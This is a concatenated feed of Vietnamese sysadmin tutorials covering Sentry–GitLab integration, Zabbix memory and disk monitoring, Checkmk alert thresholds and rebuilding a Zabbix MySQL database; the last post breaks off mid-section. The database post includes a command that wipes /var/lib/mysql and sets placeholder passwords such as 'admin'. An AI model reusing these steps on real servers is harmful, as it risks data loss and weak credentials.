<p>Thực hiện bởi <a href="https://cloud365.vn/" target="_blank">cloud365.vn</a></p>duydm1. Lỗ hổng bảo mật CVE-2019-0708 trên WindowsTích hợp Sentry với Gitlab2019-05-17T00:00:00+00:002019-05-17T00:00:00+00:00http://localhost:8081/other/Tich-hop-sentry-voi-gitlab<h2 id="mở-đầu">Mở đầu</h2>
<p>Ở trong các bài viết trước của mình, mình đã hướng dẫn cài đặt Sentry và tích hợp Sentry với Django để làm công cụ giám sát log realtime.</p>
<p>Trong bài viết này mình sẽ tiếp tục hướng dẫn cách tích hợp Sentry với Gitlab, để mỗi khi có một lỗi xảy ra, mình sẽ có thể tạo một Issue và tự động gán Issue đó cho một bạn Dev fix nó</p>
<h2 id="yêu-cầu">Yêu cầu</h2>
<ul>
<li><a href="https://blog.cloud365.vn/other/gioi-thieu-va-cai-dat-django/" target="_blank">Cài đặt Django.</a></li>
<li><a href="https://blog.cloud365.vn/other/cai-dat-sentry/" target="_blank">Cài đặt Sentry.</a></li>
<li><a href="https://blog.cloud365.vn/other/tich-hop-sentry-django/" target="_blank">Tích hợp Sentry và Django.</a></li>
<li><a href="https://blog.cloud365.vn/other/huong-cai-dat-gitlab-tren-centos7/" target="_blank">Gitlab.</a></li>
</ul>
<h2 id="1-xử-lý-phía-sentry">1. Xử lý phía Sentry</h2>
<h4 id="login-vào-server-sentry-với-quyền-root">Login vào server sentry với quyền root</h4>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh root@sentry_server
</code></pre></div></div>
<h4 id="cài-đặt-sentry-plugins">Cài đặt sentry-plugins</h4>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>su - sentry
source /home/sentry/sentry_app/bin/activate
pip install sentry-plugins
sentry upgrade
sudo systemctl restart supervisord
</code></pre></div></div>
<h2 id="2-xử-lý-phía-gitlab">2. Xử lý phía Gitlab</h2>
<p>Đăng nhập vào Gitlab và tạo một Access Token</p>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p1.png" />
</p>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p2.png" />
</p>
<p>Nhập các thông tin như sau:</p>
<ul>
<li>Name : <strong>Gitlab-token-for-sentry</strong></li>
<li>Tick chọn : <strong>api</strong></li>
<li>Tick chọn : <strong>read_user</strong></li>
<li>Tick chọn : <strong>read_repository</strong></li>
<li>Chọn : <strong>Create personal access token</strong></li>
</ul>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p3.png" />
</p>
<p>Copy và save lại Token này</p>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p4.png" />
</p>
<h2 id="3-xử-lý-phía-sentry">3. Xử lý phía Sentry</h2>
<p>Đăng nhập vào Sentry web và chọn vào project của bạn</p>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p5.png" />
</p>
<p>Chọn <strong>Settings</strong></p>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p6.png" />
</p>
<p>Chọn <strong>All Integrations</strong></p>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p7.png" />
</p>
<p>Chọn <strong>Enable</strong> Gitlab sau đó chọn <strong>Configure plugin</strong></p>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p8.png" />
</p>
<p>Nhập các thông tin như sau</p>
<ul>
<li><strong>GitLab URL</strong>: URL của Gitlab</li>
<li><strong>Access Token</strong>: Token lấy được từ Bước 2. Xử lý phía Gitlab</li>
<li><strong>Repository</strong>: cloud365/myproject - Ở đây chính là đường dẫn đến Repo Project Gitlab của bạn</li>
<li><strong>Issue Labels</strong>: Bug (Tùy chọn Tag của bạn trong Issue)</li>
<li>Chọn <strong>Save Changes</strong></li>
</ul>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p9.png" />
</p>
<h2 id="4-kiểm-tra">4. Kiểm tra</h2>
<p>Quay trở lại Project Tracking log trong Sentry và thực hiện các thao tác sau</p>
<p>Chọn Một lỗi bất kỳ</p>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p10.png" />
</p>
<p>Chọn <strong>Gitlab</strong> sau đó chọn <strong>Create New Issue</strong></p>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p11.png" />
</p>
<p>Nhập các thông tin sau:</p>
<ul>
<li><strong>Title</strong>: Tùy chọn</li>
<li><strong>Description</strong>: Tùy chọn (Mình thường để nguyên vì đây chính là log lỗi)</li>
<li><strong>Assignee</strong>: Assign cho ai</li>
<li><strong>Labels</strong>: Chọn Tag</li>
<li>Chọn <strong>Create Issue</strong></li>
</ul>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p12.png" />
</p>
<p>Quay trở lại Gitlab và chọn Issue trong Project của bạn đã thấy có một Issue được tạo từ Sentry</p>
<p align="center">
<img src="/images/img-sentry/sentry_gitlab/p13.png" />
</p>
<p>Như vậy là đã tích hợp thành công</p>
<h2 id="tổng-kết">Tổng kết</h2>
<p>Như vậy trong bài viết này mình đã hướng dẫn tích hợp Sentry với Gitlab giúp cho việc quản lý các lỗi trong dự án của bạn được tốt hơn. Ngoài ra các bạn có thể tham khảo thêm bài viết <a href="https://blog.cloud365.vn/other/tich-hop-gitlab-voi-slack/" target="_blank">Tích hợp Gitlab với Slack</a> để quản lý công việc tốt hơn</p>
<p>Chúc các bạn thành công</p>
<hr />
<p>Thực hiện bởi <a href="https://cloud365.vn/" target="_blank">cloud365.vn</a></p>huytmMở đầuZabbix 4.0 - Hiển thị dung lượng RAM đã sử dụng dạng phần trăm2019-05-17T00:00:00+00:002019-05-17T00:00:00+00:00http://localhost:8081/monitor/lay-gia-tri-used-ram-phan-tram<p>Hệ điều hành nhân linux đang được sử dụng rất phổ biến, nhu cầu giám sát tài nguyên của server như RAM, Disk, CPU, Network.. được người quản trị hệ thống đặc biệt quan tâm. Khi sử dụng <a href="https://blog.cloud365.vn/monitor/cai-dat-zabbix-4-lts-tren-centos7/" target="_blank">zabbix </a> để giám sát server Linux của mình mặc định template <strong>“Template OS Linux”</strong> cho phép ta giám sát thông tin về <strong>Memory</strong> bao gồm: <code class="highlighter-rouge">Available memory</code>, <code class="highlighter-rouge">Free swap space</code>, <code class="highlighter-rouge">Free swap space in %</code>, <code class="highlighter-rouge">Total memory</code>, <code class="highlighter-rouge">Total swap space</code>. Với những thông tin giám giát về memory mặc định zabbix hỗ trợ không thể cung cấp thông tin đầy đủ và trực quan nhất cho người quản trị vì trong cơ chế hoạt động về RAM của hệ điều hành Linux sẽ xuất hiện dung lượng cache cắt từ lượng RAM thực tế dẫn tới việc zabbix không thể hiển thị chính xác nhất giá trị RAM sử dụng thực tế.</p>
<p>Ở bài hướng dẫn này sẽ hướng dẫn hiển thị dung lượng RAM đã sử dụng dạng phần trăm (đã trừ đi dung lượng cache) trên server Linux.</p>
<h2 id="1-truy-cập-zabbix-server">1. Truy cập zabbix server</h2>
<p>Truy cập địa chỉ <code class="highlighter-rouge">http://ip-zabbix-server/zabbix/</code> để login vào zabbix server.</p>
<p><img src="/images/img-ram-phan-tram/Screenshot_1482.png" alt="" /></p>
<h2 id="2-tạo-item--ram-used--current">2. Tạo item RAM USED % Current</h2>
<p>Lựa chọn template <code class="highlighter-rouge">Template OS Linux</code>.</p>
<p>Click <code class="highlighter-rouge">Configuration -> Templates -> Template OS Linux</code></p>
<p><img src="/images/img-ram-phan-tram/Screenshot_1483.png" alt="" /></p>
<ul>
<li>Tạo item <code class="highlighter-rouge">RAM cache B</code>: Tính giá trị dung lượng RAM cache đơn vị là Byte</li>
</ul>
<p>Click <code class="highlighter-rouge">Items -> Create item</code></p>
<p><img src="/images/img-ram-phan-tram/Screenshot_1484.png" alt="" /></p>
<p>Nhập các thông tin cho item.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name: RAM cache B
Type: Zabbix agent
Key: vm.memory.size[cached]
Type of information: Numneric(usigned)
Unit: B
Update interval: 1m
Applications: Memory
</code></pre></div></div>
<p><img src="/images/img-ram-phan-tram/Screenshot_1486.png" alt="" /></p>
<p>Click <code class="highlighter-rouge">Add</code></p>
<p><img src="/images/img-ram-phan-tram/Screenshot_1487.png" alt="" /></p>
<ul>
<li>Tạo item <code class="highlighter-rouge">RAM cache %</code> hiển thị dung lượng RAM cache dạng %.</li>
</ul>
<p>Ở trong giao diện template <code class="highlighter-rouge">Template OS Linux</code> tạo item mới và nhập các thông tin.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name: RAM cache %
Type: Caculated
Key: vm.memory.pcache
Formula: 100*last("vm.memory.size[cached]")/last("vm.memory.size[total]")
Type of information: Numneric(float)
Unit: %
Update interval: 1m
Applications: Memory
</code></pre></div></div>
<p><img src="/images/img-ram-phan-tram/Screenshot_1488.png" alt="" /></p>
<ul>
<li>Tạo item <code class="highlighter-rouge">RAM pused</code> tính dung lượng RAM sử dụng dang phần trăm (có bao gồm cache).</li>
</ul>
<p>Ở trong giao diện template <code class="highlighter-rouge">Template OS Linux</code> tạo item mới và nhập các thông tin.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name: RAM pused
Type: Zabbix agent
Key: vm.memory.size[pused]
Type of information: Numneric(float)
Unit: %
Update interval: 1m
Applications: Memory
</code></pre></div></div>
<p><img src="/images/img-ram-phan-tram/Screenshot_1489.png" alt="" /></p>
<ul>
<li>Tạo item <code class="highlighter-rouge">RAM USED % Current</code> tính dung lượng RAM sử dụng thực tế đã trừ đi giá trị <code class="highlighter-rouge">cache</code>.</li>
</ul>
<p>Tại giao diện template <code class="highlighter-rouge">Template OS Linux</code> tạo item mới và nhập các thông tin sau.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name: RAM USED % Current
Type: Caculated
Key: vm.memory.pusednocache
Formula: last("vm.memory.size[pused]")-last("vm.memory.pcache")
Type of information: Numneric(float)
Unit: %
Update interval: 1m
Applications: Memory
</code></pre></div></div>
<p><img src="/images/img-ram-phan-tram/Screenshot_1490.png" alt="" /></p>
<p>Item mới được tạo.</p>
<p><img src="/images/img-ram-phan-tram/Screenshot_1491.png" alt="" /></p>
<h2 id="3-kiểm-tra-giá-trị-ram-used--current">3. Kiểm tra giá trị RAM USED % Current</h2>
<p>Click <code class="highlighter-rouge">Monitoring -> Lastest data -> Lựa chọn Host</code></p>
<p><img src="/images/img-ram-phan-tram/Screenshot_1493.png" alt="" /></p>
<p>Với hướng dẫn cơ bản trên giúp bạn giám sát thêm được thông tin về memory trông server linux.</p>
<hr />
<p>Thực hiện bởi <a href="https://cloud365.vn/" target="_blank">cloud365.vn</a></p>duydmHệ điều hành nhân linux đang được sử dụng rất phổ biến, nhu cầu giám sát tài nguyên của server như RAM, Disk, CPU, Network.. được người quản trị hệ thống đặc biệt quan tâm. Khi sử dụng zabbix để giám sát server Linux của mình mặc định template “Template OS Linux” cho phép ta giám sát thông tin về Memory bao gồm: Available memory, Free swap space, Free swap space in %, Total memory, Total swap space. Với những thông tin giám giát về memory mặc định zabbix hỗ trợ không thể cung cấp thông tin đầy đủ và trực quan nhất cho người quản trị vì trong cơ chế hoạt động về RAM của hệ điều hành Linux sẽ xuất hiện dung lượng cache cắt từ lượng RAM thực tế dẫn tới việc zabbix không thể hiển thị chính xác nhất giá trị RAM sử dụng thực tế.CHECKMK part 4 - Đặt ngưỡng cảnh báo cho dịch vụ.2019-05-16T00:00:00+00:002019-05-16T00:00:00+00:00http://localhost:8081/monitor/check_mk-part-4-dat-nguong-dich-vu<h2 id="lời-mở-đầu">Lời mở đầu</h2>
<p>Ở bài trước mình đã hướng dẫn mọi người cách để cấu hình active check, ở bài này mình sẽ hướng dẫn cách để có thể cấu hình ngưỡng cảnh báo của dịch vụ. Mặc định thì checkmk đã có những ngưỡng cảnh báo cho từng dịch vụ, tuy nhiên những thông số đó chưa hẳn đã ổn đối với hệ thống của chúng ta vì thế chúng ta cần phải cấu hình lại ngưỡng cảnh báo của dịch vụ.</p>
<h2 id="chuẩn-bị">Chuẩn bị</h2>
<ul>
<li>
<p>Một máy CentOS 7 đã được cài đặt checkmk</p>
</li>
<li>
<p>Một máy CentOS 7 đã cài checkmk agent và được thêm host trên checkmk.</p>
</li>
</ul>
<h2 id="thực-hiện">Thực hiện</h2>
<ul>
<li>
<p>Trên Web UI, chúng ta tìm đến <code class="highlighter-rouge">Views</code>, mở tab <code class="highlighter-rouge">Services</code> và chon <code class="highlighter-rouge">All services</code>.</p>
</li>
<li>
<p>Trong ví dụ này, mình sẽ đặt ngưỡng cảnh báo cho service <code class="highlighter-rouge">Filesystem /</code> và rule ở <code class="highlighter-rouge">Folder main</code> với ngưỡng 70% là <code class="highlighter-rouge">Warning</code> và 80% là <code class="highlighter-rouge">Critical</code>.</p>
</li>
<li>
<p>Tại <code class="highlighter-rouge">Filesystem /</code> chọn <code class="highlighter-rouge">Parameters for this service</code> :</p>
</li>
</ul>
<p><img src="/images/img-omd/omd-28.png" alt="omd-28" /></p>
<ul>
<li>Chọn <code class="highlighter-rouge">Filesystems (used space and growth)</code>:</li>
</ul>
<p><img src="/images/img-omd/omd-29.png" alt="omd-29" /></p>
<ul>
<li>Chọn <code class="highlighter-rouge">Create rule in folder</code>:</li>
</ul>
<p><img src="/images/img-omd/omd-30.png" alt="omd-30" /></p>
<ul>
<li>Tìm đến tab <code class="highlighter-rouge">Parameters</code> và làm như các bước dưới đây :</li>
</ul>
<p><img src="/images/img-omd/omd-31.png" alt="omd-31" /></p>
<ul>
<li>Sau đó nhấn <code class="highlighter-rouge">Save</code> để lưu lại:</li>
</ul>
<p><img src="/images/img-omd/omd-32.png" alt="omd-32" /></p>
<ul>
<li>Lưu lại những thay đổi :</li>
</ul>
<p><img src="/images/img-omd/omd-33.png" alt="omd-33" /></p>
<p><img src="/images/img-omd/omd-34.png" alt="omd-34" /></p>
<p><img src="/images/img-omd/omd-35.png" alt="omd-35" /></p>
<h2 id="tổng-kết">Tổng kết</h2>
<p>Như vậy mình đã hướng dẫn mọi người cách để thiết lập ngưỡng cảnh báo, để có thể áp dụng chúng ta cần thiết lập cấu hình cảnh báo, các bài hướng dẫn cấu hình cảnh báo sẽ có ở bài sau.</p>
<hr />
<p>Thực hiện bởi <a href="https://cloud365.vn/" target="_blank">cloud365.vn</a></p>datptLời mở đầuHướng dẫn monitor nhiều disk trên zabbix2019-05-13T00:00:00+00:002019-05-13T00:00:00+00:00http://localhost:8081/monitor/monitor-multi-disk-zabbix<p>Bạn giám sát hệ thống của mình với Zabbix. Trên server của bạn có nhiều disk và bạn muốn giám sát từng disk. Trong bài viết này tôi sẽ hướng dẫn cách sử dụng discovery rule để thực hiện việc discovery các disk và giám sát nó.</p>
<h2 id="thực-hiện-trên-zabbix-agent">Thực hiện trên zabbix agent</h2>
<p>Sử dụng một script python để list ra tên disk.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vi /usr/local/bin/discover_disk.py
</code></pre></div></div>
<p>Sau thêm các dòng sau vào file</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/usr/bin/python</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="c"># Iterate over all block devices, but ignore them if they are in the</span>
<span class="c"># skippable set</span>
<span class="n">skippable</span> <span class="o">=</span> <span class="p">(</span><span class="s">"sr"</span><span class="p">,</span> <span class="s">"loop"</span><span class="p">,</span> <span class="s">"ram"</span><span class="p">)</span>
<span class="n">devices</span> <span class="o">=</span> <span class="p">(</span><span class="n">device</span> <span class="k">for</span> <span class="n">device</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="s">"/sys/class/block"</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="nb">any</span><span class="p">(</span><span class="n">ignore</span> <span class="ow">in</span> <span class="n">device</span> <span class="k">for</span> <span class="n">ignore</span> <span class="ow">in</span> <span class="n">skippable</span><span class="p">))</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">[{</span><span class="s">"{#DISK}"</span><span class="p">:</span> <span class="n">device</span><span class="p">}</span> <span class="k">for</span> <span class="n">device</span> <span class="ow">in</span> <span class="n">devices</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">({</span><span class="s">"data"</span><span class="p">:</span> <span class="n">data</span><span class="p">},</span> <span class="n">indent</span><span class="o">=</span><span class="mi">4</span><span class="p">))</span>
</code></pre></div></div>
<p>Cấp quyền thực thi cho file</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chmod +x /usr/local/bin/discover_disk.py
</code></pre></div></div>
<p>Thêm dòng sau vào cuối file <code class="highlighter-rouge">/etc/zabbix/zabbix_agent.conf</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>UserParameter=custom.disks.discovery_python,/usr/local/bin/discover_disk.py
</code></pre></div></div>
<p>Restart zabbix-agent</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl restart zabbix-agent
</code></pre></div></div>
<h2 id="thực-hiện-trên-dashboard">Thực hiện trên dashboard</h2>
<p>Bây giờ ta tiến hành thao tác trên dashboard.</p>
<p>Tạo tham số macros</p>
<p><img src="/images/img-multi-disk-zabbix/1.png" alt="" /></p>
<p>Tạo <code class="highlighter-rouge">discovery rule</code> trên host</p>
<p>Chọn <code class="highlighter-rouge">Configuration</code> -> <code class="highlighter-rouge">Host</code> chọn <code class="highlighter-rouge">Discovery</code> trên host mà ta muốn giám sát</p>
<p><img src="/images/img-multi-disk-zabbix/2.png" alt="" /></p>
<p>Chọn <code class="highlighter-rouge">Create discovery rule</code></p>
<p><img src="/images/img-multi-disk-zabbix/3.png" alt="" /></p>
<p><img src="/images/img-multi-disk-zabbix/4.png" alt="" /></p>
<p>Trong đó:</p>
<ul>
<li>Name: là tên của discovery rule</li>
<li>Key: Ta đặt theo parameter mà ta khai báo trong file config của zabbix agent</li>
</ul>
<p>Sau đó chuyển sang tab <code class="highlighter-rouge">Filters</code> để lọc ra những disk mà ta muốn giám sát</p>
<p><img src="/images/img-multi-disk-zabbix/5.png" alt="" /></p>
<p>Như ví dụ trên tôi giám sát những disk có tên theo định dạng <code class="highlighter-rouge">sda, sdb, ...</code></p>
<p>Sau đó click <code class="highlighter-rouge">Add</code>. Ta sẽ thấy discovery rule đã được tạo</p>
<p><img src="/images/img-multi-disk-zabbix/6.png" alt="" /></p>
<p>Để giám sát một thông số nào đó trên những disk được tìm thấy ta phải tạo các item cho nó. Để tạo item trên <code class="highlighter-rouge">discovery rule</code> ta click vào <code class="highlighter-rouge">Item prototypes</code></p>
<p><img src="/images/img-multi-disk-zabbix/7.png" alt="" /></p>
<p>Click vào <code class="highlighter-rouge">Create item prototype</code></p>
<p><img src="/images/img-multi-disk-zabbix/8.png" alt="" /></p>
<p>Thực hiện tạo item như bình thường. Ở những vị trí thay vì phải khai báo tên disk bạn thay vào đó là tham số macros đã khai báo từ trước để nó nhận giá trị mà discovery rule tìm thấy</p>
<p><img src="/images/img-multi-disk-zabbix/9.png" alt="" /></p>
<p>Như trong ví dụ tôi tạo item giám sát tốc độ đọc trên disk.</p>
<p>Sau khi tạo xong bạn sẽ thấy item đã được tạo</p>
<p><img src="/images/img-multi-disk-zabbix/10.png" alt="" /></p>
<p>Bây giờ bạn có thể thấy metric đẩy về. Lúc này trên máy của tôi có 2 disk.</p>
<p><img src="/images/img-multi-disk-zabbix/11.png" alt="" /></p>
<p><strong>Tài liệu tham khảo</strong></p>
<p>https://github.com/MinhKMA/mdt-ghichep-zabbix/blob/master/docs/discovery_disk.md</p>
<p>Thực hiện bởi <a href="https://cloud365.vn/" target="_blank">cloud365.vn</a></p>niemdtBạn giám sát hệ thống của mình với Zabbix. Trên server của bạn có nhiều disk và bạn muốn giám sát từng disk. Trong bài viết này tôi sẽ hướng dẫn cách sử dụng discovery rule để thực hiện việc discovery các disk và giám sát nó.Hướng dẫn turning zabbix2019-05-13T00:00:00+00:002019-05-13T00:00:00+00:00http://localhost:8081/monitor/turning-zabbix<p>Khi bạn sử dụng zabbix để giám sát một hệ thống lớn lúc này DB zabbix của bạn sẽ rất lớn. Thông thường khi bạn sử dụng MySQL để lưu DB trong zabbix thì DB này sẽ được lưu thành một file. Như vậy theo thời gian dung lượng của file này sẽ rất lớn. Ta có thể dễ dàng nhận ra rằng việc đọc dữ liệu ở một file lớn sẽ mất nhiều thời gian hơn việc đọc dữ liệu từ những file có dung lượng nhỏ hơn. Trong bài viết này tôi sẽ chỉ ra cách để chuyển DB được lưu tất cả trong một file thành nhiều file nhỏ mà mỗi table sẽ được lưu thành một file.</p>
<p>Chúng ta có thể chia nhỏ file có dung lượng lớn <code class="highlighter-rouge">ibdata1</code> thành những file nhỏ và như vậy chúng ra có thể giảm dung lượng ở những bảng có dữ liệu không cần nữa ví dụ như bảng <code class="highlighter-rouge">history-uint</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code># ls -lh /var/lib/mysql
total 16G
-rw-rw---- 1 mysql mysql 16K Aug 15 10:36 aria_log.00000001
-rw-rw---- 1 mysql mysql 52 Aug 15 10:36 aria_log_control
-rw-rw---- 1 mysql mysql 15G Aug 15 12:45 ibdata1
-rw-rw---- 1 mysql mysql 5.0M Aug 15 12:45 ib_logfile0
-rw-rw---- 1 mysql mysql 5.0M Aug 15 12:45 ib_logfile1
drwx------ 2 mysql mysql 4.0K Aug 15 10:36 mysql
srwxrwxrwx 1 mysql mysql 0 Aug 15 10:44 mysql.sock
drwx------ 2 mysql mysql 4.0K Aug 15 10:36 performance_schema
drwx------ 2 mysql mysql 6 Aug 15 10:36 test
drwx------ 2 mysql mysql 8.0K Aug 15 13:59 zabbix
</code></pre></div></div>
<p>Ta có thể thấy file <code class="highlighter-rouge">ibdata1</code> có dung lượng khá lớn.</p>
<h2 id="stop-dịch-vụ-zabbix">Stop dịch vụ zabbix</h2>
<p>Trước khi bắt đầu chúng ta cần stop <code class="highlighter-rouge">zabbix-server</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl stop zabbix-server
</code></pre></div></div>
<h2 id="backup-database">Backup database</h2>
<p><strong>1</strong> Snapshot: Nếu zabbix server được cài trên máy ảo thì chúng ta nên tạo nên một bản snapshot để khi ta có một thao tác nào nhầm lẫn thì bạn vẫn có thể revert lại bản snapshot vừa rồi.</p>
<p><strong>2</strong> Dump DB</p>
<p>Để dữ lại toàn bộ dữ liệu tại thời điểm hiện tại ta dùng <code class="highlighter-rouge">mysqldump</code> để dump toàn bộ DB lại thành một file.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysqldump -u zabbix -p --all-databases --add-drop-table > zabbix_db.sql
mkdir backup
mv zabbix_db.sql backup
</code></pre></div></div>
<p>Ta thấy trong thư mục <code class="highlighter-rouge">backup</code> đã có file ta vừa dump</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root@grafana backup]# ls
zabbix_db.sql
</code></pre></div></div>
<p><strong>3</strong> Backup thư mục /var/lib/mysql</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rsync -avP /var/lib/mysql backup
</code></pre></div></div>
<h2 id="cho-phép-lưu-mỗi-bảng-một-file">Cho phép lưu mỗi bảng một file</h2>
<ol>
<li>Stop mysql</li>
</ol>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl stop mysql
</code></pre></div></div>
<ol>
<li>Backup thư mục <code class="highlighter-rouge">/etc/my.cnf</code></li>
</ol>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cp /etc/my.cnf /etc/my.cnf.20190509
</code></pre></div></div>
<ol>
<li>Thêm dòng <code class="highlighter-rouge">innodb_file_per_table=1</code> bên dưới <code class="highlighter-rouge">[mysqld]</code> trong file <code class="highlighter-rouge">/etc/my.cnf</code></li>
</ol>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root@grafana ~]# vi /etc/my.cnf
[mysqld]
...
innodb_file_per_table=1
</code></pre></div></div>
<h2 id="build-lại-database">Build lại database</h2>
<p>Remove tất cả các file trong thư mục <code class="highlighter-rouge">/var/lib/mysql</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rm -rf /var/lib/mysql/*
</code></pre></div></div>
<p>Cần lưu ý rằng bước này sẽ xóa toàn bộ database nên bạn cần chắc chắn rằng bạn đã thực hiện các bước backup trước đó.</p>
<p>Khởi tạo lại database</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/bin/mysql_install_db
</code></pre></div></div>
<p>Kiểm tra lại thư mục <code class="highlighter-rouge">/var/lib/mysql</code> sau khi khởi tạo lại database</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root@grafana ~]# ls -lh /var/lib/mysql
total 28K
-rw-rw---- 1 root root 16K Aug 15 10:36 aria_log.00000001
-rw-rw---- 1 root root 52 Aug 15 10:36 aria_log_control
drwx------ 2 root root 4.0K Aug 15 10:36 mysql
drwx------ 2 root root 4.0K Aug 15 10:36 performance_schema
drwx------ 2 root root 6 Aug 15 10:36 test
</code></pre></div></div>
<p>Thau đổi quyền cho tất cả các file</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chown -R mysql:mysql /var/lib/mysql/
</code></pre></div></div>
<p>Bây giờ thực hiện kiểm tra lại</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root@grafana ~]# ls -lh /var/lib/mysql
total 28700
-rw-rw---- 1 mysql mysql 16384 Aug 15 10:36 aria_log.00000001
-rw-rw---- 1 mysql mysql 52 Aug 15 10:36 aria_log_control
-rw-rw---- 1 mysql mysql 18874368 Aug 15 10:41 ibdata1
-rw-rw---- 1 mysql mysql 5242880 Aug 15 10:41 ib_logfile0
-rw-rw---- 1 mysql mysql 5242880 Aug 15 10:40 ib_logfile1
drwx------ 2 mysql mysql 4096 Aug 15 10:36 mysql
drwx------ 2 mysql mysql 4096 Aug 15 10:36 performance_schema
drwx------ 2 mysql mysql 6 Aug 15 10:36 test
</code></pre></div></div>
<p>Start dịch vụ MySQL</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>systemctl start mysql
</code></pre></div></div>
<h2 id="rebuild-the-account">Rebuild the Account</h2>
<p>Login vaò MySQL với user <code class="highlighter-rouge">root</code> và switch sang database <code class="highlighter-rouge">mysql</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root@grafana ~]# mysql -u root -p
Enter password:
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
[root@grafana ~]# mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 17
Server version: 5.6.44-log MySQL Community Server (GPL)
Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql>
</code></pre></div></div>
<p>Thay đổi password của user root</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql> update user set Password=password("admin") where User="root";
Query OK, 4 rows affected (0,00 sec)
Rows matched: 4 Changed: 4 Warnings: 0
</code></pre></div></div>
<p>Tạo database sử dụng cho Zabbix</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql> CREATE DATABASE zabbix;
Query OK, 1 row affected (0.00 sec)
</code></pre></div></div>
<p>Tạo account sử dụng cho Zabbix</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql> CREATE USER 'zabbix'@'localhost' IDENTIFIED BY 'password';
Query OK, 0 rows affected (0.00 sec)
</code></pre></div></div>
<p>Gán quyền cho account Zabbix</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql> GRANT ALL PRIVILEGES ON zabbix.* TO 'zabbix'@'localhost';
Query OK, 0 rows affected (0.00 sec)
</code></pre></div></div>
<p>Apply những gì vừa thiết lập</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec)
</code></pre></div></div>
<h2 id="kiểm-tra-lại-file_per_table-đã-được-setting">Kiểm tra lại file_per_table đã được setting</h2>
<p>Trước khi import data đã backup trước đó chúng ta cần kiểm tra lại giá trị <code class="highlighter-rouge">innodb_file_per_table</code> đang có giá trị là <code class="highlighter-rouge">ON</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql> show variables like '%per_table%';
+-----------------------+-------+
| Variable_name | Value |
+-----------------------+-------+
| innodb_file_per_table | ON |
+-----------------------+-------+
1 row in set (0,00 sec)
</code></pre></div></div>
<h2 id="import-lại-file-backup-mà-ta-đã-tiến-hành-backup-trước-đó">Import lại file backup mà ta đã tiến hành backup trước đó</h2>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root@grafana ~]# cd backup/
[root@grafana backup]# time mysql -u zabbix -p zabbix < zabbix_db.sql
Enter password:
real 31m57.704s
user 0m50.054s
sys 0m1.945s
</code></pre></div></div>
<p>Việc import có thể nhanh hay chậm tùy thuộc vào kích thước database của bạn.</p>
<h2 id="xóa-dữ-liệu-ở-những-bảng-ko-cần-thiết">Xóa dữ liệu ở những bảng ko cần thiết</h2>
